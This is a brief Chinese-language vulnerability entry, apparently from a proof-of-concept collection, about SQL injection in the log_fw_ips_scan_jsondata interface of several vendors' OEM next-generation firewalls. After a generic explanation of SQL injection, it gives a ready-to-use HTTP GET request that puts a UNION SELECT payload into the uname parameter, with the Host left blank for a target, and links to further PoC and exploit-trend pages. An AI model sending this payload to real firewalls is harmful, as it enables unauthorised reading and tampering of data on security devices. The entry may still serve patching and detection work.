Description
SQL注入漏洞是指攻击者通过在Web应用程序的输入字段中插入恶意SQL代码，从而绕过应用程序的安全措施，直接对数据库执行非法操作。这种漏洞通常发生在应用程序未对用户输入进行充分验证和过滤的情况下，使得攻击者能够获取、修改或删除数据库中的数据，甚至可能执行服务器上的任意代码。
多个厂商OEM下一代防火墙 log_fw_ips_scan_jsondata SQL注入漏洞
PoC
GET /webui/?g=log_fw_ips_scan_jsondata&uname='+union+select+sqlite_version(),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19--+ HTTP/1.1
Host:
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.References
https://www.secevery.com/toBugInfo?id=1859196223133368321
https://github.com/eeeeeeeeee-code/POC/blob/main/wpoc/%E4%BB%BB%E5%AD%90%E8%A1%8C/%E4%BB%BB%E5%AD%90%E8%A1%8C%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%E5%AE%A1%E8%AE%A1%E7%B3%BB%E7%BB%9Flog_fw_ips_scan_jsondata%E6%8E%A5%E5%8F%A3%E5%AD%98%E5%9C%A8SQL%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E.md
https://cn-sec.com/archives/3458382.html
https://www.yingjikeji.cn/sys-nd/693.html
https://blog.csdn.net/idhalashao/category_12836759.html
https://axsec.blog.csdn.net/article/details/143897475